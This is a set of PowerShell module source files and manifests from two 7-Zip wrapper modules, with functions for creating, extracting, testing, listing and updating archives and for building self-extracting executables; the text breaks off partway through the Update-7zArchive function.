CompressionLevel { Store = 0 Fastest = 1 Fast = 3 Normal = 5 Maximum = 7 Ultra = 9 } Enum PathFormat { Realtive = 0 Full = 1 Absolute = 3 } Enum UpdateMode { Add Update Freshen Sync } Enum SplitSizeFactor { Byte Kilobyte Megabyte Gigabytes } <# .SYNOPSIS Create a new 7zip archive .DESCRIPTION Create a new 7zip archive .PARAMETER Archive Archive file to be created .PARAMETER FileNames Files fo add to archive .PARAMETER FSFiles Powershell files (from pipeline) to add .PARAMETER Password Archive password (if have been set) .PARAMETER Compression Compression Level {Store, Fastest, Fast, Normal, Maximum, Ultra} .PARAMETER UpdateMode Files Update Mode {Add, Update, Freshen, Sync} .PARAMETER SplitSize Volume sizes .PARAMETER SplitSizeFactor Volume size factor {Byte, Kilobyte, Megabyte, Gigabytes} .EXAMPLE ls -Exclude .git | New-ZipFile "scripts" New-ZipFile -Compression Ultra -FileNames .\\index.rst,.\\README.md -Password qwe123 -SplitSize 1,2,3,4,20 -SplitSizeFactor Megabyte .NOTES General notes #> function New-ZipFile { [cmdletbinding(DefaultParameterSetName = 'SingleFile' )] param ( [ValidateScript( { !(Test-Path -Path $_) })] [Parameter(Position = 0, ParameterSetName = 'FileNameArray', ValueFromPipelineByPropertyName = $True, Mandatory = $true)] [Parameter(Position = 0, ParameterSetName = 'FileArray', ValueFromPipelineByPropertyName = $True, Mandatory = $true)] [Alias("Path","Name", "Archive", "p")] [string]$ArchiveName, [ValidateScript( {foreach ($item in $_){ Test-Path -Path $item }})] [Parameter(Position = 1, ParameterSetName = 'FileNameArray', ValueFromPipeline = $True, Mandatory = $true)] [Alias("Files", "fl")] [string[]]$FileNames, [Parameter(Position = 1, ParameterSetName = 'FileArray', ValueFromPipeline = $True, Mandatory = $true)] [Alias("FileSytemFiles", "fsl")] [System.IO.FileSystemInfo[]]$FSFiles, [Parameter(Position = 3, ParameterSetName = 'FileNameArray', ValueFromPipelineByPropertyName = $True)] [Parameter(Position = 3, ParameterSetName = 'FileArray', ValueFromPipelineByPropertyName = $True)] [Alias("Password","pass")] [string]$Key = $null, [Parameter(Position = 2, ParameterSetName = 'FileNameArray', ValueFromPipelineByPropertyName = $True)] [Parameter(Position = 2, ParameterSetName = 'FileArray', ValueFromPipelineByPropertyName = $True)] [Alias("mx", "Level")] [CompressionLevel]$Compression = [CompressionLevel]::Normal, ###doesnt work # [Parameter(Position = 4, ParameterSetName = 'SingleFile', ValueFromPipelineByPropertyName = $True)] # [Parameter(Position = 4, ParameterSetName = 'FileNameArray', ValueFromPipelineByPropertyName = $True)] # [Parameter(Position = 4, ParameterSetName = 'FileArray', ValueFromPipelineByPropertyName = $True)] # [Alias("pf", "PathMode")] # [PathFormat]$PathFormat = [PathFormat]::Realtive, [Parameter(Position = 5, ParameterSetName = 'FileNameArray', ValueFromPipelineByPropertyName = $True)] [Parameter(Position = 5, ParameterSetName = 'FileArray', ValueFromPipelineByPropertyName = $True)] [Alias("m", "AchiveMode","FileMode")] [UpdateMode]$UpdateMode=[UpdateMode]::Add, [Parameter(Position = 6, ParameterSetName = 'FileNameArray', ValueFromPipelineByPropertyName = $True)] [Parameter(Position = 6, ParameterSetName = 'FileArray', ValueFromPipelineByPropertyName = $True)] [Alias("s", "v", "Volume", "VolumeSize", "Split")] [string[]]$SplitSize=$null, [Parameter(Position = 7, ParameterSetName = 'FileNameArray', ValueFromPipelineByPropertyName = $True)] [Parameter(Position = 7, ParameterSetName = 'FileArray', ValueFromPipelineByPropertyName = $True)] [Alias("vs", "VolumeSizeFactor", "SplitFactor")] [SplitSizeFactor]$SplitSizeFactor=[SplitSizeFactor]::Megabyte ) begin { Write-Output "Creating Archive ""$ArchiveName""" if ( Test-Path "${ArchiveName}.7z" ) { throw "Arhive ""$ArchiveName"" allready exist, please select another destination." } $files = @() } process { $FileNames| ForEach-Object{ if( -not (szTest-Empty $_) ){ Write-Debug "Adding file ""$_""" $files += $_ } } $FSFiles| ForEach-Object{ if( $null -ne $_ ){ Write-Debug "Addign file ""$FSFiles"" from the filesystem" $files += $_.FullName } } } end{ Write-Output "Creating Archive ""$ArchiveName""" if ( Test-Path "${ArchiveName}.7z" ) { throw "Arhive ""$ArchiveName"" allready exist, please select another destination." } $AllArgs = @() switch ( $UpdateMode ) { Add { $AllArgs += "a" } Update { $AllArgs += "u" } Freshen { $AllArgs += "u" } Sync { $AllArgs += "u" } } $AllArgs += "$ArchiveName" $AllArgs = AddKeyArg $AllArgs $Key if ( $null -ne $Compression ){ Write-Debug $Compression Write-Debug "-mx$([int]$Compression)" $AllArgs += "-mx$([int]$Compression)" } switch ( $UpdateMode ) { Add { } Update { } Freshen { $AllArgs += "-ur0" } Sync { $AllArgs += "-uq0" } } $files | ForEach-Object{ $AllArgs += $_ } if( -not (szTest-Empty $([string]$SplitSize) )){ $factorName="b" switch ( $SplitSizeFactor ) { Byte{ $factorName = "b" } Kilobyte { $factorName = "k" } Megabyte { $factorName = "m" } Gigabytes { $factorName = "g" } } $SplitSize| ForEach-Object{ $AllArgs += "-v$_$factorName" } } $PathFormat = [PathFormat]::Realtive switch ( $PathFormat ) { Realtive { } Full { $AllArgs += "-spf2" } Absolute { $AllArgs += "-spf" } } return Start-7Zip $AllArgs } } <# .SYNOPSIS Perform 7Zip arhive integrity check .DESCRIPTION Perform 7Zip arhive integrity check .PARAMETER Archive Archive file .PARAMETER File Archived File to test .PARAMETER Password Archive password .EXAMPLE />Test-ZipFileContent -Archive 'folder.7z' />Test-ZipFileContent -Archive 'folder.7z' -File 'file.txt' /> ([PSCustomObject]@{File='file.txt', Archive='File.7z', Password="pass"} | Test-ZipFileContent -Archive 'File.7z' #> function Test-ZipFileContent { param ( [ValidateScript( { Test-Path $_ -pathType leaf })] [Parameter(Position = 0, ValueFromPipelineByPropertyName = $True, Mandatory = $true)] [Alias("Path","Name", "Archive", "p")] [string]$ArchiveName, [Parameter(Position = 1, ValueFromPipelineByPropertyName = $True)] [Alias("File", "f")] [string]$FileName = $null, [Parameter(Position = 2, ValueFromPipelineByPropertyName = $True)] [Alias("Password","pass")] [string]$Key = $null ) Write-Output "Test file ""$FileName"" from archive ""$ArchiveName""" $AllArgs = @('t', "$ArchiveName") if( -not (szTest-Empty $FileName) ){ $AllArgs += "$FileName" } $AllArgs = AddKeyArg $AllArgs $Key $code = Start-7Zip $AllArgs Write-Output "File test End. Return code: $code" return $code } <# .SYNOPSIS Extract file(s) from 7zip archive .DESCRIPTION Extract file(s) from 7zip archive .PARAMETER Archive Parameter description .PARAMETER FileName File to extract .PARAMETER Password Parameter description .PARAMETER Force Overwrite existing file .PARAMETER OutputPath Folder to extract .EXAMPLE An example .NOTES General notes #> function Get-ZipFileContent { param ( [ValidateScript( { Test-Path $_ -pathType leaf })] [Parameter(Position = 0, ValueFromPipeline = $True, Mandatory = $true)] [Alias("Path","Name", "Archive", "p")] [string]$ArchiveName, [Parameter(Position = 1)] [Alias("File", "f")] [string]$FileName=$null, [Alias("Password","pass")] [string]$Key = $null, [Alias("y")] [bool]$Force = $false, [Alias("OutDir","OutputPath")] [string]$destFolder=$null ) Write-Output "Extracting file ""$FileName"" from archive ""$ArchiveName""" $AllArgs = @('e', "$ArchiveName") if( -not (szTest-Empty $FileName) ){ $AllArgs += "$FileName" } if( -not (szTest-Empty $destFolder) ){ szCreateFolderIfNotExist "${destFolder}" $AllArgs += "-o$destFolder" } if( $Force ){ $AllArgs += "-y" } $AllArgs = AddKeyArg $AllArgs $Key $code = Start-7Zip $AllArgs # if( -not (Test-Empty $FileName) -and -not (Check-Hash "$ArchiveName" "$FileName")){ # throw "Extracted file hash is different" # } Write-Output "File extracted. Return code: $code" return $code }
7zip-Archive.psm1
7zip-Archive-1.1.0
. $PSScriptRoot\Shared-Functions.ps1 . $PSScriptRoot\Functions.ps1 szCheckPsGalleryUpdate 7Zip "1.1.0" _Initalize Export-ModuleMember -Function: Read-ZipFile Export-ModuleMember -Function: Add-ZipFileContent Export-ModuleMember -Function: Remove-ZipFileContent Export-ModuleMember -Function: Test-ZipFileContent Export-ModuleMember -Function: Get-ZipFileContent Export-ModuleMember -Function: New-ZipFile . $PSScriptRoot\Aliases.ps1
7zip-Archive.psd1
7zip-Archive-1.1.0
# # Module manifest for module '7zip-Archive' # # Generated by: Dmitry Stadub # # @{ # Script module or binary module file associated with this manifest. # RootModule = '' # Version number of this module. ModuleVersion = '1.1.0' # Supported PSEditions # CompatiblePSEditions = @() # ID used to uniquely identify this module GUID = '2ba3bbb9-b2ea-46c8-ab4c-aeb08c2bfcfc' # Author of this module Author = 'Dmitry Stadub' # Company or vendor of this module CompanyName = '' # Copyright statement for this module Copyright = '(c) Dmitry Stadub. All rights reserved.' # Description of the functionality provided by this module Description = '7zip utility wrapper. Use own copy of 7 zip utility and can download it from internet Full documentation at the Github: https://github.com/stadub/PowershellScripts/tree/master/7Zip ' # Minimum version of the PowerShell engine required by this module # PowerShellVersion = '' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # CLRVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module # RequiredModules = @() # Assemblies that must be loaded prior to importing this module # RequiredAssemblies = @() # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess #NestedModules = @('Aliases.ps1','7zip.ps1') RootModule = "7zip-Archive.psm1" # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = @('*') # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = @() # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = @('*') # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = @('zip','unzip', 'archive','7zip', 'compress', 'extract', '7z', 'gzip') # A URL to the license for this module. LicenseUri = 'http://opensource.org/licenses/MIT' # A URL to the main website for this project. ProjectUri = 'https://github.com/stadub/PowershellScripts/tree/master/7Zip' # A URL to an icon representing this module. IconUri = 'https://raw.githubusercontent.com/stadub/PowershellScripts/master/7Zip/Assets/Icon.ico' # ReleaseNotes of this module ReleaseNotes = ' First public release. Supported function: Read-ZipFile szr Add-ZipFileContent sza Remove-ZipFileContent szrm Test-ZipFileContent szt Get-ZipFileContent br Full documentation at the Github: https://github.com/stadub/PowershellScripts/tree/master/7Zip Changelog: Update icon. Remove extra shared functions Add update checker Change test environment to StrictMode=Latest ' } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module HelpInfoURI = 'https://github.com/stadub/PowershellScripts/blob/master/7Zip/README.md' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
New-7zSFX.ps1
7zipWrapper-0.1.39
Function New-7zSfx { <# .SYNOPSIS Create a new 7-Zip self extracting archive .DESCRIPTION Create self-extracting archives using 7-Zip .EXAMPLE New-7zsfx app-sfx app.exe,app.exe.config app.exe Simply create a self-extracting exe from an executable file app.exe with its configuration file app.exe.config: .NOTES This might be omitted in later revisions as this sets off my sense of DSC flow and its old in its concept. Since WinRM and DSC self expanding objects are a non starter. I have included this for now but im reviewing security articles to determine use in different environments. .LINK https://documentation.help/7-Zip/sfx.htm #> [CmdletBinding(SupportsShouldProcess, ConfirmImpact='Low')] Param( # The name of the exe-file to produce, without extension [Parameter(Mandatory=$true, Position=0)] [string]$Path, # The files to include in the archive [Parameter(Mandatory=$true, Position=1)] [string[]]$Include, # The command to run when the sfx archive is started [Parameter(Mandatory=$true, Position=2)] [string]$CommandToRun, # Title for messages [Parameter(Mandatory=$false)] [string]$Title, # Begin Prompt message [Parameter(Mandatory=$false)] [string]$BeginPrompt, # Title of extraction dialog [Parameter(Mandatory=$false)] [string]$ExtractTitle, # Text in dialog [Parameter(Mandatory=$false)] [string]$ExtractDialogText, # Button text of cancel button [Parameter(Mandatory=$false)] [string]$ExtractCancelText, # A list of additional options, of the form "key=value" [Parameter(Mandatory=$false)] [string[]]$ConfigOptions, # Include subdirectories [switch]$Recurse, # Additional switches to pass to 7za when creating the archive [string]$Switches = '' ) Begin { # Escape a variable for the config file Function Esc([string]$t) { # Prefix \ and " with \, replace CRLF with \n and TAB with \t Return $t.Replace('\', '\\').Replace('"', '\"').Replace("`r`n", '\n').Replace("`t", '\t') } # Get the base name of the specified path in Name if (-not [IO.Path]::IsPathRooted($Path)) { $Path = Join-Path "." $Path } # Then join the directory name with the file name exluding the extension [string]$Name = Join-Path ([IO.Path]::GetDirectoryName($Path)) ([IO.Path]::GetFileNameWithoutExtension($Path)) [string]$tmpfile = "$Name.sfx.tmp" [Collections.ArrayList]$cfg = @() [string]$exefile = "$Name.exe" if (Test-Path -PathType Leaf "$exefile") { Remove-Item "$exefile" -Force } } Process { if ($PSCmdlet.ShouldProcess('Create Executable Archive')) { $null = New-7zArchive -ArchivePath $tmpfile -FilesToInclude $Include -FilesToExclude @() -ArchiveType 7z -Recurse:$Recurse -Switches $Switches # Copy sfx + archive + config to exe via bytestream #SFX Configuration File Header [void]$cfg.Add(";!@Install@!UTF-8!") #Title - title for messages [void]$cfg.Add('Title="{0}"' -f $Title) #RunProgram - Command for executing. Default value is "setup.exe". Substring %%T will be replaced with path to temporary folder, where files were extracted [void]$cfg.Add('RunProgram="{0}"' -f $(Esc($CommandToRun))) #BeginPrompt - Begin Prompt message if ($BeginPrompt -ne "") { [void]$cfg.Add('BeginPrompt="{0}"' -f $(Esc($BeginPrompt))) } #ExtractTitle - title of extraction dialog if ($ExtractTitle -ne "") { [void]$cfg.Add('ExtractTitle="{0}"' -f $(Esc($ExtractTitle))) } #ExtractDialogText - text in dialog if ($ExtractDialogText -ne "") { [void]$cfg.Add('ExtractDialogText="{0}"' -f $(Esc($ExtractDialogText))) } #ExtractCancelText - button text of cancel button if ($ExtractCancelText -ne "") { [void]$cfg.Add('ExtractCancelText="{0}"' -f $(Esc($ExtractCancelText))) } #Progress - Value can be "yes" or "no". Default value is "yes". #Directory - Directory prefix for "RunProgram". Default value is ".\\" #ExecuteFile - Name of file for executing #ExecuteParameters - Parameters for "ExecuteFile" if ($null -ne $ConfigOptions) { $ConfigOptions | ForEach-Object { [string[]]$parts = $_.Split('=') if ($parts.Count -lt 2) { throw "Invalid configuration option '$($_)': missing '='" } else { [void]$cfg.Add('{0}="{1}"' -f $($parts[0]), $(Esc($parts[1]))) } } } #SFX Configuration File Ending Suffix [void]$cfg.Add(';!@InstallEnd@!') Write-Verbose ('Creating sfx "{0}"...' -f $exefile) Write-Debug ($cfg | Join-String -Separator '`r`n') [string]$cfgfile = ( '{0}.sfx.cfg' -f $Name ) Set-Content "$cfgfile" -Value $cfg Get-Content "$($7zSettings.Path7zSfx)","$cfgfile","$tmpfile" -AsByteStream -Raw | Set-Content "$exefile" -AsByteStream } } End { Remove-Item "$tmpfile" Remove-Item "$cfgfile" } }
Get-CurrentFileName.ps1
7zipWrapper-0.1.39
function Get-CurrentFileName { #Returns the name of the current PowerShell script file. $MyInvocation.ScriptName }
Expand-7zArchive.ps1
7zipWrapper-0.1.39
Function Expand-7zArchive { <# .SYNOPSIS Extract files fom a 7-Zip archive .DESCRIPTION Use this cmdlet to extract files from an existing 7-Zip archive Extracts files from an archive to the current directory or to the output directory. The output directory can be specified by -o switch. This command copies all extracted files to one directory. If you want extracted files with full paths, you must use x command. 7-Zip will prompt the user before overwriting existing files unless the user specifies the -y switch. If the user gives a no answer, 7-Zip will prompt for the file to be extracted to a new filename. Then a no answer skips that file; or, yes prompts for new filename. .EXAMPLE Expand-7zArchive backups.7z extracts all files from archive backups.7z to the current folder .EXAMPLE Expand-7zArchive -Path archive.zip -Destination "c:\soft" -Include "*.cpp" -recurse extracts all *.cpp files from archive archive.zip to c:\soft folder. .NOTES This function has not been updated yet. .LINK https://documentation.help/7-Zip/extract1.htm #> [CmdletBinding()] Param( # The path of the archive to expand [Parameter(Mandatory=$true, Position=0)] [string]$ArchivePath, # The path to extract files to [Parameter(Mandatory=$false, Position=1)] [string]$Destination = ".", # A list of file names or patterns to include [Parameter(Mandatory=$false, ValueFromPipeLine=$true, Position=2)] [string[]]$Include = @("*"), # A list of file names or patterns to exclude [Parameter(Mandatory=$false)] [string[]]$Exclude = @(), #If specified apply password to archive and decrypt contents [SecureString] $Password, # Apply include patterns recursively [switch]$Recurse, # Additional switches for 7zip [string]$Switches = "", # Force overwriting existing files [switch]$Force ) Begin { $Switches = $Switches + (' "-o{0}"' -f $Destination) if ($Force) { $Switches = $Switches + " -aoa" # Overwrite ALL } else { $Switches = $Switches + " -aos" # SKIP extracting existing files } $filesToProcess = @() } Process { $filesToProcess += $Include } End { [hashtable]$params = @{ Operation = 'Extract' ArchivePath = $ArchivePath Include = $Include Exclude = $Exclude Switches = $Switches } if ( $PSBoundParameters.ContainsKey('Password') ) { # Password parameter present $params.Add('Password',$Password) } if ( $PSBoundParameters.ContainsKey('Force') ) { # Force parameter present $params.Add('Force',$true) } if ( $PSBoundParameters.ContainsKey('Recurse') ) { # Recurse parameter present $params.Add('Recurse',$true) } $params.GetEnumerator() | ForEach-Object { Write-Debug -Message ('{0}: {1}' -f ($_.Key), ($_.Value) ) } [string[]]$result = Invoke-7zInterop @params $result | ForEach-Object { if ($_.StartsWith("Skipping ")) { Write-Warning $_ } } } }
7zipWrapper.psd1
7zipWrapper-0.1.39
# # Module manifest for module '7zipWrapper' # # Generated by: David Tawater # # Generated on: 8/8/2021 # @{ # Script module or binary module file associated with this manifest. RootModule = '7zipWrapper.psm1' # Version number of this module. ModuleVersion = '0.1.39' # Supported PSEditions # CompatiblePSEditions = @() # ID used to uniquely identify this module GUID = '98351fbb-4702-4dc8-aab6-d22d50d7c026' # Author of this module Author = 'David Tawater' # Company or vendor of this module CompanyName = 'Unknown' # Copyright statement for this module Copyright = '(c) 2021 David Tawater. All rights reserved.' # Description of the functionality provided by this module Description = 'Powershell module for creating and extracting 7-Zip archives. Password Support and pipeline support included' # Minimum version of the PowerShell engine required by this module # PowerShellVersion = '' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module # RequiredModules = @() # Assemblies that must be loaded prior to importing this module # RequiredAssemblies = @() # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = @('Add-7zArchive','Expand-7zArchive','Get-7zArchive','New-7zArchive','New-7zSFX','Test-7zArchive','Update-7zArchive') # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = '*' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. # Tags = @() # A URL to the license for this module. # LicenseUri = '' # A URL to the main website for this project. # ProjectUri = '' # A URL to an icon representing this module. # IconUri = '' # ReleaseNotes of this module ReleaseNotes = '# Release Notes This file will be very similiar to the change log until i generate a working release notes generator in powershell The format is based on [Keep a Changelog](http://keepachangelog.com/) and this project adheres to [Semantic Versioning](http://semver.org/). Example Subject Categories to use Added - New features Changed - Existing functionality and features changed Deprecated - Features soon-to-be removed. Removed - Features now removed. Fixed - Bug fixes and repairs. Security - Vulnerability fixes and repairs ## [0.1.8] Unreleased This includes build and test fixes to design the builder workflow ## [0.1.0] 2021-08-04 This is the initial version of the module' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
New-7zArchive.ps1
7zipWrapper-0.1.39
function New-7zArchive() { <# .SYNOPSIS Create a new 7-Zip archive .DESCRIPTION Use this cmdlet to create 7-Zip archives. Possible types are 7z (default) as well as zip, gzip, bzip2, tar, iso, udf archive formats. This needs testing...made usable The archive file is overwritten if it exists and the -force parameter is used .EXAMPLE New-7zArchive new-archive *.txt Creates a new 7-zip-archive named 'new-archive.7z' containing all files with a .txt extension in the current directory .EXAMPLE New-7zArchive new-archive *.txt -ArchiveType zip Creates a new zip-archive named 'new-archive.zip' containing all files with a .txt extension in the current directory .EXAMPLE New-7zArchive new-archive *.jpg,*.gif,*.png,*.bmp -Recurse -Exclude tmp/ Creates a new 7-zip archive named 'new-archive.7z' containing all files with an extension of jpg, gif, png or bmp in the current directory and all directories below it All files in the folder tmp are excluded, i.e. not included in the archive. #> [CmdletBinding(SupportsShouldProcess, ConfirmImpact='Low')] [OutputType([string[]])] Param( # The path of the archive to create [Parameter(Mandatory, Position=0)] [string] $ArchivePath, # A list of file names or patterns to include [Parameter(Mandatory=$true, Position=1)] [string[]] $FilesToInclude, # A list of file names or patterns to exclude [Parameter(Mandatory=$false)] [AllowEmptyCollection()] [string[]] $FilesToExclude, # The type of archive to create [ValidateSet('7z','zip','gzip','bzip2','tar','iso','udf')] [string] $ArchiveType = '7z', #If specified apply password to archive and encrypt headers [SecureString] $Password, # Additional switches for 7zip (Feature intended for advanced usage) [string]$Switches, # Apply include patterns recursively [switch]$Recurse, [switch] $Force ) if ($PSCmdlet.ShouldProcess("Create Archive")) { if (Test-Path -Path $ArchivePath) { if (-Not $Force.IsPresent ) { $Message = ('{0} archive `"{1}`" failed: File already exists!{2}Use -Force to overwrite archive.' -f $verb, $ArchivePath, "`r`n") Debug-ThrowException ` -Message $Message ` -Verb 'New' ` -Path $ArchivePath ` -Output $Message ` -LineNumber (Get-CurrentLineNumber) ` -Filename (Get-CurrentFileName) ` -Executable $7zSettings.Path7zEXE } Write-Debug -Message ('Deleting file: {0}' -f $ArchivePath ) try { Remove-Item -Path $ArchivePath -Force -ErrorAction Stop } catch { Debug-ThrowException ` -Message $_.Exception.Message ` -Verb 'New' ` -Path $ArchivePath ` -Output $_.Exception.Message ` -LineNumber Get-CurrentLineNumber ` -Filename Get-CurrentFileName ` -Executable $7zSettings.Path7zEXE ` -Exception $_.Exception } } [hashtable]$params = @{ Operation = 'New' ArchiveType = $ArchiveType ArchivePath = $ArchivePath Include = $FilesToInclude Exclude = $FilesToExclude Switches = $Switches } if ( $PSBoundParameters.ContainsKey('Password') ) { # Password parameter present $params.Add('Password',$Password) } if ( $PSBoundParameters.ContainsKey('Force') ) { # Force parameter present $params.Add('Force',$true) } if ( $PSBoundParameters.ContainsKey('Recurse') ) { # Recurse parameter present $params.Add('Recurse',$true) } $params.GetEnumerator() | ForEach-Object { Write-Debug -Message ('{0}: {1}' -f ($_.Key), ($_.Value) ) } [string[]]$result = Invoke-7zInterop @params return $result } }
Get-7zArchive.ps1
7zipWrapper-0.1.39
Function Get-7zArchive { <# .SYNOPSIS List files fom a 7-Zip archive .DESCRIPTION Use this cmdlet to examine the contents of 7-Zip archives. Output is a list of PSCustomObjects with properties [string]Mode, [DateTime]DateTime, [int]Length, [int]Compressed and [string]Name options to add to this would be -slt to show technical info .EXAMPLE Get-7zArchive c:\temp\test.7z List the contents of the archive "c:\temp\test.7z" .NOTES This function has not been updated yet. .LINK https://documentation.help/7-Zip/list.htm #> [CmdletBinding()] [OutputType([PSCustomObject[]])] Param( # The name of the archive to list [Parameter(Mandatory=$true, Position=0)] [string]$ArchivePath, #If specified apply password to open archive [SecureString] $Password, # Additional switches [Parameter(Mandatory=$false)] [string]$Switches = "" ) [hashtable]$params = @{ Operation = 'List' ArchivePath = $ArchivePath Include = @() Exclude = @() Switches = $Switches CheckOK = $false } if ( $PSBoundParameters.ContainsKey('Password') ) { # Password parameter present $params.Add('Password',$Password) } $params.GetEnumerator() | ForEach-Object { Write-Debug -Message ('{0}: {1}' -f ($_.Key), ($_.Value) ) } [string[]]$result = Invoke-7zInterop @params [bool]$separatorFound = $false [int]$filecount = 0 $result | ForEach-Object { if ($_.StartsWith("------------------- ----- ------------ ------------")) { if ($separatorFound) { # Second separator! We're done break } $separatorFound = -not $separatorFound } else { if ($separatorFound) { # 012345678901234567890123456789012345678901234567890123456789012345678901234567890 # x-----------------x x---x x----------x x----------x x-------------------- # 2015-12-20 14:25:18 ....A 18144 2107 XMLClassGenerator.ini [string]$mode = $_.Substring(20, 5) [DateTime]$datetime = [DateTime]::ParseExact($_.Substring(0, 19), "yyyy'-'MM'-'dd HH':'mm':'ss", [CultureInfo]::InvariantCulture) [int]$length = [int]"0$($_.Substring(26, 12).Trim())" [int]$compressedlength = [int]"0$($_.Substring(39, 12).Trim())" [string]$name = $_.Substring(53).TrimEnd() # Write a PSCustomObject with properties to output Write-Output ([PSCustomObject] @{ Mode = $mode DateTime = $datetime Length = $length Compressed = $compressedlength Name = $name }) $filecount++ } } } Write-Debug ('filecount: {0}' -f $filecount) }
Initialize-Module.ps1
7zipWrapper-0.1.39
<# .SYNOPSIS Performs initial module tasks and configurations .DESCRIPTION This is the landing script for the entry point of this module .EXAMPLE .\Initialize-Module.ps1 this is automatically called from the build task in the main module folder .NOTES This function has not been updated yet. #> [CmdletBinding()] param ( [Parameter()] [string] $AlternatePath ) [bool]$7zEXE = $false [bool]$7zSFX = $false $ScriptFilePath = $MyInvocation.MyCommand.Path $ScriptPath = Split-Path $ScriptFilePath #See if 7zip is installed otherwise use the script directory try { $P = (Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\7z*').GetValue("Path") } catch { #If an alternate path is given lets use that. If not lets try to use the current script running command path. $P = if ( [string]::IsNullOrEmpty($AlternatePath) ) { $ScriptPath } else { $AlternatePath } } finally { $7z = Join-Path $P -ChildPath "7z.exe" if (Test-Path -PathType Leaf $7z) { [string]$7zEXE = $7z } $7za = Join-Path $P -ChildPath "7za.exe" if (Test-Path -PathType Leaf $7za) { [string]$7zEXE = $7za } $7fx = Join-Path $P -ChildPath "7z.sfx" if (Test-Path -PathType Leaf $7fx) { [string]$7zSFX = $7fx } } if ($false -eq $7zEXE) { $Output = ('Locations Searched: {0}7z.exe: {1}{0}7za.exe: {2}' -f "`r`n", $7z, $7za) throw ('7-zip not installed or in path. This file is required for all operations of this module{0}{1}' -f "`r`n", $Output) } $7zSettings = [ordered]@{ Path7zEXE = $7zEXE Path7zSFX = $7zSFX ScriptDirectory = if ($null -ne $ScriptPath) { Split-Path -Path $ScriptPath -Parent } else { (Get-Location) } ScriptFilePath = if ($null -ne $ScriptPath) { Split-Path -Path $ScriptPath } else { Join-Path -Path (Get-Location) -ChildPath 'UnknownScriptFileName.ps1' } } New-Variable -Name 7zSettings -Value $7zSettings -Scope Script -Force
Update-7zArchive.ps1
7zipWrapper-0.1.39
function Update-7zArchive() { <# .SYNOPSIS Update files in a 7-Zip archive .DESCRIPTION Use this cmdlet to update files to an existing 7-Zip archive. If the archive does not exist, it is created. Update-7zArchive will update older files in the archive and add files that are new to the archive. This does not replace unchanged files within the archive, instead those files are skipped. This is for speed improvements. .EXAMPLE Update-7zArchive existing-archive *.txt Updates an existing 7-zip-archive named 'existing-archive.7z' with all files found having a .txt extension in the current directory that are newer than the files in the archive and all files that are not currently in the archive. .EXAMPLE Update-7zArchive existing-archive *.txt -ArchiveType zip Updates an existing zip-archive named 'existing-archive.zip' with all files found having a .txt extension in the current directory that are newer than the files in the archive and all files that are not currently in the archive. .EXAMPLE Update-7zArchive existing-archive *.jpg,*.gif,*.png,*.bmp -Recurse -Exclude tmp/ Updates an existing 7-zip-archive named 'existing-archive.7z' with all files found having a jpg, gif, png or bmp extension in the current directory and all sub directories that are newer than the files in the archive and all files that are not currently in the archive. All files in the folder tmp are excluded, i.e. not included in the archive. .NOTES The current version of 7-Zip cannot change an archive which was created with the solid option switched on. To update a .7z archive you must create and update that archive only in non-solid mode (-ms=off switch). .LINK https://documentation.help/7-Zip/update.htm #> [CmdletBinding(SupportsShouldProcess, ConfirmImpact='Low')] Param( # The path of the archive to update [Parameter(Mandatory, Position=0)] [string] $ArchivePath, # 